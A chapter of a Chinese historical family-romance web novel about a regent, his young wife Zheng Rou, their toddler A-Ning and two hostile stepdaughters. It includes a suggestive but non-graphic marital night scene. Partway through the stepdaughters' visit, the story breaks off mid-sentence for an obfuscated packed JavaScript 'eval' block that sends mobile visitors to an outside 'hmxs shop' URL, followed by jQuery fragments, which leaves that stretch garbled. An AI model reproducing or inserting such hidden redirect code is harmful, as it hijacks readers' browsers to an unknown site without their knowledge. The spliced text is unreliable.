初秋时节,一场细雨方才停歇。
空气中,湿润的泥土气息与草木被雨水清洗后的清新味道交织在一起,沁人心脾。
日光穿透稀薄的云层,如一层轻柔的薄纱,温柔地洒落在摄政王府的后花园里。
雨后的后花园,显得格外明净,树叶绿得透亮,花瓣上挂着晶莹的水珠,偶尔随风滚落。
几株早桂亦悄然绽放,甜丝丝的香气若有似无地浮动在微凉的空气中,教人不由得有些沉醉。
在后花园的东南角,玉兰树下新添了一架小巧的秋千,藤编的坐板,结实而精致;结实的藤绳,牢牢地系在粗壮的枝干上,甚为稳固与安全。
这架秋千,是前几日晚上,陆承远抱着阿宁,偶然听闻阿宁说起别家孩子府中后花园有秋千,甚是羡慕后,便淡淡吩咐下人置办的。
从前陆芙芙小时候喜欢荡秋千,只是后来她与陆茵茵,陆蔷蔷渐渐长大了,陆府之中多年不曾再有别的喜欢秋千的人,于是便被撤换掉了。
对府中孩子喜欢的东西,陆承远向来皆是百依百顺,更何况,是对他一手养大的嫡子阿宁。
郑柔牵着阿宁软软的小手,沿着还有些湿润的青石砖小径,缓缓走到后花园。
今日,阿宁身着一件浅杏色的直裰小衫,外面罩着一件绣着瑞兽的软绸半袖,整个人显得格外玉雪可爱,宛如一个粉雕玉琢的小瓷娃娃。
当阿宁瞧见那架秋千时,澄澈乌润的眼眸瞬间亮了起来。
松开郑柔的手,阿宁迈着小短腿,噔噔噔地跑过去,踮着脚,想去触摸微微晃动的藤板。
“慢些,阿宁,地上滑。”郑柔跟上,有些温柔含笑地无奈道,然后抬手,有些小心地扶着阿宁坐上秋千。
“阿娘,推,阿宁要飞起来。”阿宁坐稳后,雀跃地扭过头来瞧郑柔。
他的两只小手紧紧握着两侧的绳索,小脚悬空晃荡着,白嫩稚气的小包子脸上尽是期待。
“阿宁,娘亲推你,要坐稳哦。”笑着颔了下首,郑柔站在阿宁身后,轻轻用力。
秋千缓缓荡起来,虽然幅度不大,但足以教小小的,开朗的阿宁开心得咯咯直笑。
孩童清脆欢快的笑声,在雨后静谧的花园里响起,仿佛欢快雀跃的小雀一般,叽叽喳喳的。
“高,阿娘,再高一点。”阿宁奶声奶气地要求着,笑声像银铃,清脆悦耳。
郑柔笑着,稍稍加了些力道。
秋千荡得更高了些,阿宁的笑声亦更加欢喜,他带着一点点刺激尖叫,嫩生生的白皙小脸上,尽是快乐的笑意。
郑柔一边轻轻推着,一边柔声叮嘱:“阿宁,要抓紧绳子。”
信步走入后花园的陆承远,恰好瞧见这一幕。
他方才处理完公务,想来后花园透透气,远远地,便听见了孩童清脆的笑声,与女子温柔的叮嘱。
他停下脚步,站在一丛翠竹旁,目光投向那棵玉兰树下。
只见郑柔身着浅碧色的衫裙,细细腰间系着素白绣芙蕖的系带,身姿轻盈地站在秋千后,唇角含笑,正轻轻推着阿宁。
秋千上的阿宁笑得见牙不见眼,小身子随着秋千的起伏而欢快地晃动。
陆承远的目光在郑柔带着温柔笑意的侧脸上停留片刻,又落回儿子眼眉弯弯,笑得欢喜的白嫩小脸上,清冷的墨眸中的情绪,几不可查地柔和了一瞬。
注视片刻之后,他缓步走过去。
先觉察到脚步声,郑柔回首,见是陆承远,手上推的动作缓了下来,唇畔微弯唤道:“郎君。”
阿宁正玩在兴头上,见秋千慢了,急着去瞧郑柔:“娘亲,推呀……”
话音未落,阿宁亦瞧见了父亲。
他的声音顿时小了下去,抓着绳子的小手紧了紧,眨巴着潋滟眼眸瞧着陆承远,仿佛有些怯意,又有些期待。
陆承远走到近前,目光扫过秋千:“玩得倒欢。”
郑柔温声道:“方才雨后,出来透透气。”
她见阿宁在一身清冷的陆承远面前有些拘谨,想了想,柔声问道:“阿宁,还要玩吗?教爹爹推你好不好?”
瞧瞧母亲,又瞧瞧父亲,阿宁点了点头,笑着答应道:“嗯!”
陆承远不曾言语,只是走到了郑柔方才的位置,取代了她。
男人的大手握住秋千的藤条,力道沉稳地推了出去。
秋千顿时荡得比之前高了不少,却异常平稳。
阿宁先是惊得叫了一声,旋即感受到了不同于阿娘推送的,更有力也更安全的力道。
那点怯意立刻被更大的兴奋取代,阿宁笑声更加响亮:“爹爹好厉害!”
陆承远瞧着儿子开心的背影,手下力道均匀,既教他玩得尽兴,又确保安全。
郑柔温柔含笑站在一旁,瞧着面前的这一幕。
高大的男人,小心地控制着力道推着秋千,秋千上的孩子,笑得开心不已。
心里像是被温水浸过,暖融融的,郑柔示意旁边的丫鬟不必靠近,想教父子二人享受这温馨的时光。
玩了好一会子,阿宁额头上出了层细汗,小脸红扑扑的,秋千慢慢停下。
陆承远伸手,将意犹未尽的小家伙从秋千上抱了下来。
阿宁乖乖地教他抱着,还带着喘气地笑。
郑柔拿出帕子,上前细心地为阿宁擦去额角的汗珠,有些嗔怪道:“玩疯了罢,出这么多汗。”
阿宁瞧着面前温柔貌美,温柔细致为自己擦汗的阿娘,不由得对她甜甜笑着。
在父亲宽厚的怀里扭着小身子,阿宁想要下来。
忽然瞧见了什么,阿宁眼眸一亮,伸出小手指向不远处,脆生生地喊道:“爹爹,阿娘,你们瞧,花开了!”
不远处,几丛墨菊初绽芳华,经过雨水的温柔冲刷,花瓣颜色愈发浓深凝重,仿佛是用最上等的墨汁精心晕染而成。
花瓣上,水珠尚未干透,在日光的照耀下,闪着晶莹的微光,清雅娇柔。
陆承远顺着阿宁手指的方向,随意地瞥了一眼,淡淡应道:“嗯,墨菊开了。”
阿宁却像发现了什么新奇的东西一般,在父亲怀里挣扎着要下地。
垂眸,瞧了一眼怀中扭来扭去的阿宁,陆承远轻轻将他放下。
脚一沾地,阿宁便像只欢快的小鹿,朝着那丛墨菊跑去。
眼眸瞧着那些雨后初绽的花朵,小小的阿宁教身后赶忙跟来的丫鬟抱起自己来,挑了一朵开得最盛,颜色最深的。
那朵花几乎有阿宁小手那么大,阿宁费了好大的力气,方才用小手将那朵墨菊摘了下来。
然后,阿宁又从丫鬟怀中挣扎着要下来,转身,迈着小短腿,噔噔噔地跑回来。
高高地举着那朵墨菊,阿宁仰起头,用奶声奶气的声音瞧着面前高大的父亲,笑得眼眉弯弯道:“爹爹,你低头。”
陆承远微微挑眉,眼中划过一抹意外,但还是依言微微俯下身去,将阿宁抱了起来。
阿宁见状,不由得弯唇笑了,他笨拙而又试探着,将那朵带着晶莹水珠的墨菊,轻轻地簪在了陆承远束发的玉冠旁。
深紫色的花朵,与陆承远玄色的衣袍相互映衬,再配上他冷峻的侧脸,有一种奇异和谐的美。
阿宁稚气的举动,为这份和谐增添了几分滑稽与温情。
一旁的郑柔笑了起来,用帕子掩住口,但眼角眉梢弯起的笑意却怎么亦藏不住。
周围的丫鬟仆妇们也皆低着头,显然是在忍笑。
陆承远显然也愣了一下。
片刻之后,他垂下眼眸,瞧着面前一脸期待,等着夸奖的儿子。
阿宁睁着圆溜溜的大眼睛,一脸求表扬的神情,奶声奶气地亲昵道:“爹爹方才推阿宁,阿宁给爹爹戴花,好看,爹爹戴。”
陆承远抬手,仿佛想要将那朵墨菊取下。
但当他的指尖碰到花瓣时,却顿了顿,最终还是放了下来。
瞧着面前的儿子阿宁亮晶晶的眼眸,里面纯粹的喜悦,与一点小得意,陆承远应了一声:“嗯。”
他目光扫过一旁忍笑的郑柔,语气依旧平淡如水:“像什么样子。”
话虽如此,他却并未立刻将那朵花取下。
郑柔笑着走上前去,轻轻地将墨菊在他发间调整了一下,让它簪得更稳当些。
她柔声说道:“阿宁感激郎君的赤子之心,郎君便戴一会子罢。”
说完,郑柔又对阿宁笑道:“阿宁真乖,晓得给爹爹戴花了。”
得到母亲的肯定,阿宁更加欢喜了,他有些不好意思地笑了一下,对陆承远与郑柔道:“爹爹好看,花亦好看。”
陆承远看着面前的儿子,又瞥见身旁女子温柔含笑的眉眼,心中不由得涌起一股子柔意。
日光温和地洒在他们身上,秋风送爽,空气中混合着草木的清香,桂子的甜香,与怀中孩子身上的奶香气,教人心旷神怡。
陆承远抱着,终究是默许了那朵不合时宜的墨菊,继续留在自己的发间。
一家三口在雨后初晴的后花园里,身影被日光拉得长长的,他们依偎在一处,秋千微微晃动着,仿佛还在回响着方才那些笑声。
这一刻,没有王府里繁琐的规矩束缚,没有朝堂上激烈的纷争困扰,只有一家人难得的温馨静谧。
瞧了瞧身旁的郑柔,陆承远道:“风大了,回去罢。”
他说着,自然地向郑柔伸出了手。
郑柔将自己的手放在陆承远宽大的掌心,陆承远牵住了郑柔的指尖。
三人沿着湿润的小径,向正房走去,那朵墨菊,依旧在陆承远的冠发间轻轻摇曳着,见证着温馨美好的时刻。
……
夜色四合,乌浓如墨。
陆承远在正房用了晚膳,这会子夜深了,白日里顽得不亦乐乎,犯困的阿宁已经被奶娘抱下去休息。
郑柔有些困乏,这会子只想沐浴洗漱之后,亦快些休息。
雾气弥漫的浴房里,她正伸手去取澡豆,房门却忽然被从外面推开。
下意识地将手臂护在胸前,看清来人后,郑柔顿时羞得丽容绯红。
她低下头,声音轻柔地说道:“郎君下次能不能别这样,稍等妾身片刻有又何妨……”
高大的男子听她娇声埋怨,目光愈发晦暗幽深。
他慢条斯理解开自己的衣带,阔步走近郑柔……
床榻上,郑柔半睡半醒,正疲惫欲眠,身子却忽然被抱了起来。
她缓缓睁开惺忪的眼眸,瞧着面前的陆承远,嗓音有些哑地问道:“郎君要带妾身去哪里?”
陆承远没有回答,只是将她横抱起身。
睡意浓浓的郑柔就这样被抱出了房间。
不知过了多久,郑柔睁开迷茫的双眼,认出所在之处后,身子不由得微微一颤。
觉察到她的轻颤,以及眼中一闪而过的惶恐,陆承远握住她微凉的手指,轻声安抚:“柔儿,别怕。”
郑柔张了张口,瞧着身上正不紧不慢解开中衣系带的陆承远,再看他眼中暗沉的光芒,心中已然明了。
一开口,她才发觉自己的声音带着微哑,几乎欲哭无泪。
小白兔一般温柔胆怯的女郎竟难得如此大胆,指着陆承远,又羞又气:“你……你这无赖……”
陆承远握住少女白嫩纤细的手指,放在唇边轻吻。
他修长的手指挑开郑柔本便凌乱的水红色中衣,在她耳边低语:“柔儿不必担心,今晚不会有人来打扰。”
郑柔眼中水雾蒙蒙,下意识想要反驳。
但想到他既然这么说,想必已经吩咐下去,一时之间她羞得面容绯红,又委屈得几乎要落下泪来。
她怎么就如此不幸,遇上这样一个肆无忌惮,无人能管束的男子
不远处的廊檐下,灯笼影影绰绰,光线昏黄柔和,在燃尽灯油后骤然熄灭。
夜色如墨,唯有清冷朦胧的月光洒在花丛间,映得剧烈摇曳的草木一片缠绵。
这浓重的夜色,幽暗的月影,以及陌生又隐约熟悉的环境。
所有的一切,都让郑柔想起三年前的那个夜晚。
明明从前回忆起那次经历,心中只有羞耻与痛苦。
可不知为何,此时此刻,那份教她羞耻的廉耻心,竟在这墨色夜色中渐渐消散……
察觉到郑柔的变化与异样,男子搂紧怀中的女子,轻轻咬了下她的耳垂,笑意带着几分戏谑。
“柔儿也觉得这样甚是畅快吗?”
郑柔额间沁出细汗,抵在男子的胸膛上。
听到这话,她把脸埋得更深,又羞又恼地抬手打了他一下。
只是她浑身无力,打他的力道软绵绵的,如同小猫挠人一般。
不仅没让男子感到疼痛,反而勾得他方才平息的欲.望再次翻涌。
听着陆承远因她的动作而落在耳畔愈发急促灼热的呼吸,郑柔以为他又要肆意狂放,不禁懊恼自己搬起石头砸了自己的脚。
不料,他却如缠绵的微风细雨般温柔待她。
郑柔眼波流转,目光迷离地望着近在咫尺的男子。
他低头吻了吻她被磨得红肿的嫣唇,挺拔的鼻梁蹭过她的眉眼。
温柔的动作让郑柔有些难耐,而他口中说出的话却十分放肆:“这里是我们的孩子阿宁孕育的地方,柔娘,本王应该好好谢你,为本王生下了阿宁,今晚,本王定会好好‘报答’你的……”
郑柔声如蚊蚋,羞赧至极道:“别……别说了……”
不想再听他口中说出任何让她羞得无地自容的话,郑柔抱住他的肩膀,以嫣红柔软的唇瓣覆上他的唇,让他再无机会调笑她。
谁知狡黠的男子早已盼着她主动的这一刻,在她勾住他肩膀的瞬间,便反手搂住她,将她压在身下……
良宵美景,春光无限,只是本便困乏的郑柔,在这番香艳刺激下,却身体酸痛难耐,有些难以为继……
夜色浓重,时辰已晚。
郑柔被抱回房中,依偎在温暖宽厚的怀抱里,正迷迷糊糊将要入睡,忽听耳畔传来陆承远低沉沙哑的声音。
“男女欢爱,本是天经地义,如今我们已是夫妻,日后开枝散叶,再正常不过。”
郑柔半睁眼眸,瞧了喜欢拉着她在各处胡来,连带着面薄的她,如今渐渐被调.教得有些习惯了的陆承远一眼,面容在男人灼热的目光中,变得有些滚烫……
可是,如今阿宁尚小,其实,现在的郑柔并不曾有这些想法……
……
风和日丽,晴空万里,上午,洒金般的明媚日光落下,照在魏王府的后花园之中,小小的阿宁被几个仆妇簇拥,在后花园顽。
阿宁像只小雀,在花丛小径间蹦蹦跳跳,奶娘小心地跟在他的身后,眼眸不敢错开一瞬。
顽累了,阿宁停下来,有些好奇地拿着一枝细细的树枝,瞧地上的蚂蚁搬家。
这时,两个熟悉的身影出现在花园那头,是陆芙芙和陆茵茵。
两位嫡小姐方才自崔府,她们的外祖母的寿宴回来,衣裙鲜艳,略施粉黛。
“姐姐!”阿宁乌润潋滟的眼眸先瞧见了陆芙芙,白嫩小脸上立刻绽开笑意。
他小碎步跑过去,白嫩的面容上因为活动有些红红的,明艳得像盛开的灼灼桃华,稚气的嗓音亦清亮可爱,带着几分眷恋:“大姐姐,二姐姐,阿宁许久不曾见你们了。”
陆茵茵与陆芙芙一道走着,只是步伐比陆芙芙慢些。
此时此刻,陆茵茵面上带着浅浅的,安静的笑,垂眸瞧着面前稚气可爱的阿宁,陆茵茵温柔浅浅地笑着,想要蹲身,去跟阿宁说话。
只是,陆芙芙不等陆茵茵有所动作,已经弯下腰,将阿宁抱了起来。
阿宁小小的手臂抱住姐姐的脖颈,咯咯直笑。
“小不点,你是不是又长重了?”陆芙芙掂量着,在阿宁巴掌大的白嫩小脸上揉了揉,笑意浅浅问道,“阿宁有没有想大姐姐,二姐姐?”
“想。”小小的阿宁兴奋得眼眸有些亮晶晶的,他瞧着面前板着自己的大姐姐陆芙芙,声音稚气可爱地回答,小手愈发搂住陆芙芙的脖子,亲昵地将小孩子软软嫩嫩的面容贴过去。
陆芙芙抱着阿宁,面上亦笑着,但那笑意,在眼底却像蒙着一层薄冰,透不过眼底。
被阿宁这般亲昵地回应,陆芙芙眼中很快划过一抹冷意与不耐,她抱着阿宁的动作变得有些用力,阿宁在她怀里不安地扭了一下。
在府中浸润,人精一般的奶娘侍奉在一旁。
此时此刻,奶娘仿佛瞧出了些什么,忙躬身行礼,对陆芙芙恭敬笑道:“大小姐,还是奴婢照看小公子罢,小公子方才跑来跑去,一身汗,莫要弄脏了您的衣衫。”
陆芙芙闻言,只是有些矜傲冷淡地对奶娘微微颔首,算作回应,未曾言语。
但她却半晌仍旧不曾放开怀中的阿宁。
半晌过后,方才两岁,小小的阿宁被陆芙芙抱着,像是忽然想起了什么,挣扎着要下地:“大姐姐,你放阿宁下来罢。”
“怎么了。”陆芙芙顺势将阿宁放下,动作利落。
阿宁双脚一落地,便去牵陆芙芙的手,另一只热乎乎的小手又去拉陆茵茵因为常年身体孱弱,有些微凉的手指,笑道:“大姐姐,二姐姐,我们去寻阿娘,阿娘那里有糖糕,可好吃了,给你们吃。”
他兴致勃勃,一双黑白分明,潋滟漂亮的眼眸亮晶晶地放着光。
陆芙芙闻言,面上的笑意不由得淡了些。
轻轻捏了捏阿宁的小手,陆芙芙只是略显冷淡地答应道:“嗯。”
听到陆芙芙竟然会同意一同去正房,寻嫡母郑柔,陆茵茵不由得有些意外瞧了瞧身旁向来我行我素,矜傲自持的姐姐。
觉察到一母同胞的亲妹妹陆茵茵有些讶然地在瞧自己,陆芙芙瞥了一眼身旁的陆茵茵,眼神平静,没有说话。
见自郑柔嫁到她们府中,便毫不掩饰与郑柔不对付,瞧不起郑柔的姐姐陆芙芙,皆不反对去正房,陆茵茵瞧向阿宁天真可爱,带着期待的小眼神,弯了弯唇,温温柔柔地颔首笑道:“嗯,阿宁想要姐姐去,那便去罢。”
……
上午明媚的日光透过支起的窗子,照进房间之中。
正房的花厅中静悄悄的,郑柔坐在案前,垂眸,认真翻阅面前摊开的账簿。
郑柔嫁入王府快一年了,此时此刻,她正凝神检查本月的账目,一行行比对得甚为仔细。
窗外透进的柔和的日光,映在她温柔沉静,专心致志的面容上。
花厅的房门被轻轻推开,侍候在外间的丫鬟躬身禀告道:“夫人,小公子与大小姐,二小姐过来了。”
郑柔闻言,立刻抬起头来,眼眸中划过一抹讶然。
她嫁到陆府快要一年,陆芙芙从来不过来向她这个继母问安,拢共只来过一两次。
倒是陆茵茵这个嫡次女,对郑柔这个与自己年龄相近,却是父亲新娶的继母,温文有礼,常来请安,虽然难以避免有些疏离……
微一思忖,郑柔放下手中的毛笔,站起身来,略微整理了一下身上衫裙,走到外间门口。
只见陆芙芙牵着阿宁的手走在前面,陆茵茵安静地与陆芙芙并肩站着,几个丫鬟奶娘跟在后面。
“芙芙,茵茵,你们怎么过来了?”郑柔问道,面对面前神色淡淡,难辨悲喜的陆芙芙,她的声音里带着一抹怯意。
陆芙芙抬眸,瞧见郑柔站在面前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16769004|189828||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,她脚步未停,仿佛未曾瞧见她。
陆茵茵体弱多病,轻轻咳嗽了一声,曲膝礼了礼,唤道:“见过夫人。”
有些失落的郑柔点了点头,示意陆茵茵起身,视线落在陆芙芙,与被陆芙芙牵着的阿宁身上。
阿宁一见母亲,小小的面容上立刻笑开了花。
送开姐姐陆芙芙的手,阿宁扑过来,抱住郑柔的腿,笑道:“娘亲,阿宁与大姐姐,二姐姐在后花园遇到,请她们来我们院子里顽。”
郑柔按捺下心中的那抹失落,俯身,唇畔含笑轻轻摸了摸阿宁跑得有些汗湿的额发。
抬眸,郑柔的眼眸,正撞上陆芙芙平静看过来,却又带着审视的视线。
想到方才是陆芙芙牵着阿宁走进来的,郑柔心头不由得微微一暖,看向陆芙芙,唇角很自然地弯起一个温和,却带着怯意的笑容:“芙芙,茵茵,你们随意坐罢,不用生分。”
想了一下,郑柔转头,轻声吩咐侍立在侧的丫鬟:“快上些茶水与糕点来。”
阿宁去拉住陆芙芙与陆茵茵的手,想让她们坐,声音稚气清亮道:“姐姐,你们坐。”
郑柔吩咐完丫鬟,目光在陆芙芙与陆茵茵二姐妹,还有阿宁之间瞧了一下。
看到阿宁与这两位名义上同父同母,皆为崔氏嫡出的姐姐相处融洽,郑柔心底深处确实感到一抹不易察觉的欣慰。
无论如何,阿宁能多一些亲人疼爱,总是好的。
待姐妹俩在客位上坐了,丫鬟也奉上了茶水与几碟精致的点心来后,郑柔方才在上首缓缓落座。
她温声开口,打破这略显客气的安静,温柔笑着问道:“芙芙,茵茵,今日怎么得空来正房?”
说着,郑柔的目光落在陆芙芙身上,带着温和的询问,声音里带着一抹小心翼翼。
觉察到气氛有些不同寻常,幼小而聪敏的阿宁依偎在郑柔怀里,有些好奇地瞧着母亲还有两位姐姐,然后还是落在案上的糕点。
陆芙芙端起茶盏,却没有喝,只是用杯盖轻轻拨弄着浮在面上的茶叶。
她眼皮微抬,瞥了郑柔一眼,语气平淡得像在陈述一件与己无关的事情:“外祖母寿辰,我们姐妹上午去了崔府祝寿。”
顿了顿,陆芙芙不愿继续再说下去。
花厅中的气氛,因着陆芙芙甚是冷漠的态度,隐约有一抹凝滞。
这时,坐在陆芙芙旁边的陆茵茵放下了自己的茶盏。
她是早产儿,自小体弱多病,面色总是透着一抹略显清冷的苍白,人亦有些孤高内敛。
但此刻,陆茵茵微微清了清喉咙,声音不高,却很清晰地对郑柔微微笑道:“夫人,我们回府后,在后花园遇见了几个仆妇正照看阿宁,同阿宁耍了一会子。”
停顿了一下,陆茵茵的目光扫过正眼巴巴看着点心的阿宁,唇角弯了弯。
“阿宁很可爱,我与大姐姐想同他说说话,后来阿宁高兴,定要拉着我们来正房顽一会子,搅扰夫人了。”陆茵茵的声音放缓了些,带着这位二小姐向来特有的矜贵温和。
郑柔听着陆茵茵的一番话,她能觉察出陆茵茵这番解释是善意的,是在缓和气氛。
陆茵茵对郑柔这个继母的态度,一直是如此。
谈不上亲近,但维持着得体的温和与平静,像是隔着一段不远不近的距离,既不失礼,又带着淡淡的疏离。
这与陆芙芙对郑柔几乎毫不掩饰的憎恶,形成鲜明对比。
一直以来,陆芙芙明艳动人,是天之骄女,性情骄纵任性。
而陆茵茵虽只小她一岁,又同为先夫人崔氏所出的嫡女,却因是早产儿,先天不足,体弱多病,养成了孤芳自赏的性子。
两姐妹模样有七分相似,性子却如南辕北辙。
见陆茵茵为自己解围,郑柔对陆茵茵温和地笑了笑,轻轻颔首道:“原来如此,阿宁贪玩,难得你们有耐心陪他。”
说着,怕陆芙芙觉得受到冷遇,郑柔看向陆芙芙,声音轻柔地说道:“崔老夫人一切可好?想来今日她的寿辰,崔府定是十分热闹的。”
郑柔试图将话题引向陆芙芙的外家,语气里有些小心翼翼的谨慎与讨好。
陆芙芙放下手中的茶盏,发出一声轻微的磕碰声。
挑了挑眉,陆芙芙语气里带着一抹不易觉察的讥诮,目光直直地看向郑柔,只听她冷道:“是甚为热闹,崔府中倒是皆问起了王府近况,尤其是,问了新王妃安好。”
故意拉长了“新王妃”三个字的音调,陆芙芙的话里带着刺。
已经洗净了手,阿宁正拿起一块酥饼往口中放,吃得腮帮子有些鼓鼓的,他年纪尚小,不曾听懂姐姐陆芙芙话里的意思。
听到陆芙芙带着冷意与讥讽的声音,陆茵茵不由得轻轻蹙眉,有些担忧侧首看瞧了姐姐陆芙芙一眼。
但最终,见陆芙芙不以为意,嗤之以鼻的模样,陆茵茵在心中叹了口气,面上,却仍旧保持着置身事外的平静。
端起茶盏,垂眸慢慢啜饮着,陆茵茵识趣地沉默着,没有加入这个话题。
郑柔攥紧了掩于袖中的手指,只是面上柔和的笑意未改,仿佛没听出陆芙芙不怀好意的弦外之音。
端起手边的茶盏,轻轻拨了拨浮叶,郑柔的声音轻柔得像一片羽毛,慢慢颔首道:“劳崔家姻亲挂心了,崔老夫人福泽深厚,身体安康便好。”
不愿触陆芙芙霉头,郑柔四两拨千斤,将焦点不动声色,轻轻引回到过寿的崔老夫人身上。
闻言,见郑柔还是这般软弱,陆芙芙心里觉得索然无味,不由得冷哼一声,不再言语。
“府中事务繁杂。”仿佛不曾瞧出陆芙芙对自己的鄙夷不屑,郑柔放下手中的茶盏,目光看向陆芙芙与陆茵茵,继续道,“我初来乍到,会多尽心,不负王爷所托,管好这个家。”
说着,见陆芙芙冷着脸不言不语,郑柔在心中轻轻叹了口气,目光瞧向陆茵茵,语气带着一抹柔和,问道:“茵茵近来可还好?今日来回奔波,可觉得乏了?你的药,今日时辰不曾耽误罢?”
她对陆茵茵的病情一直上心,教人按时按量盯着煎药。
听到郑柔这般说,陆茵茵放下手中的茶盏,笑着颔首道:“多谢夫人挂怀,我晓得的。”
花厅中复又安静下来。
阿宁吃完一块点心,瞧瞧母亲,又瞧瞧两位姐姐,见大人们皆不言语,不由得觉得有些闷。
伸手,轻轻拉了拉郑柔的一角衣袖,阿宁小声道:“阿娘,我想跟姐姐出去顽。”
郑柔听到阿宁的话,垂眸,见他撒娇似的明亮的眼眸瞧着自己,不由得拍拍他小小的脊背,柔声道:“刚吃点心呢,缓一缓再出去顽,再说了,两个姐姐今日外出亦累了,陪姐姐们坐一会子罢。”
“不好顽。”听到郑柔温声细语的劝告,阿宁有些不情不愿地嘟囔着,但还是乖乖地坐着,听从了郑柔的话。
母子二人正说着,陆芙芙站起身来。
“阿宁觉得闷了。”走到阿宁面前,捏了捏他有些气鼓鼓的白嫩面容,陆芙芙笑道,“大姐姐抱你去外面庭院顽好不好?”
听到陆芙芙笑吟吟的话,阿宁欢喜起来,颔首道:“阿宁带姐姐去看鱼,我们正房的金鱼已经长得可大了。”
说着,阿宁想到了什么,不由得侧首,亮晶晶的眼眸有些期待地瞧了郑柔一眼。
抬手摸了摸阿宁乌顺柔软的头发,郑柔不曾言语,只是弯唇,浅浅笑着点了点头。
陆芙芙牵起阿宁的手,阿宁欢喜地回握住大姐姐的手,郑柔见状,亦站起身,说道:“芙芙,我教下人拿些鱼食,你们……”
陆芙芙牵着阿宁的手,转过身来,正对着面前的郑柔。
瞧着面前的郑柔,陆芙芙面上的笑容瞬间消失,只剩下一种带着厌恶的冷漠。
“不必夫人劳神费心了。”陆芙芙的声音不高,却字字清晰,带着一抹不耐与距离感,“我与茵茵带阿宁去正房水榭转转,过一会子,便送他回来。”
她用自己干脆利落的态度,与郑柔划清界限。
“茵茵,你是在这里,还是同我与阿宁一起回去?”瞧着坐着的亲妹妹陆茵茵,陆芙芙问得干脆。
闻言,陆茵茵思忖了一瞬,亦站起身来,只是动作有些慢吞吞的。
对郑柔曲膝礼了礼,依旧是那副恭敬平静的模样,陆茵茵道:“夫人,我们出去了。”
说罢,陆茵茵垂眸,瞧着面前仰着头,说要去看鱼的阿宁,眼神微动,但什么亦没说。
郑柔站在原地,瞧着她们,她语气平和,声音里带着一抹有些紧张的怯意,颔首道:“也好,只是你们当心些,池边地滑。”
陆芙芙,陆茵茵带着阿宁一同出了正房的花厅,穿过两条游廊,来到庭院里,几个丫鬟婆子在后面簇拥着,安静而有条不紊地跟随着。
正房的庭院里种着几株梧桐,初秋应季的花卉馥郁清幽。
阿宁拉着陆芙芙与陆茵茵一左一右两个姐姐的手,带她们去不远处的水榭里,瞧池塘中无忧无虑,游来游去的金鱼。
陆芙芙站在一旁,静静地垂眸看鱼,唇畔挂着一抹带些冷意的笑。
而陆茵茵则站在陆芙芙身旁,目光扫过弟弟阿宁,又落在水面,不晓得在想些什么。
送走陆芙芙,陆茵茵,阿宁姐弟三人后,郑柔仍旧坐在花厅中的案前,又翻了几页账本,却有些心不在焉,看不进心中去。
微微皱了下眉,想到了什么,郑柔有些出神的目光中,划过一抹复杂的情绪。
对陆芙芙对自己的态度,郑柔心知肚明,短时间内很难改变。
但能看到芙芙与阿宁姐弟关系融洽,郑柔觉得,阿宁能在这份复杂的亲情里,健康快乐地长大,亦已经甚好了。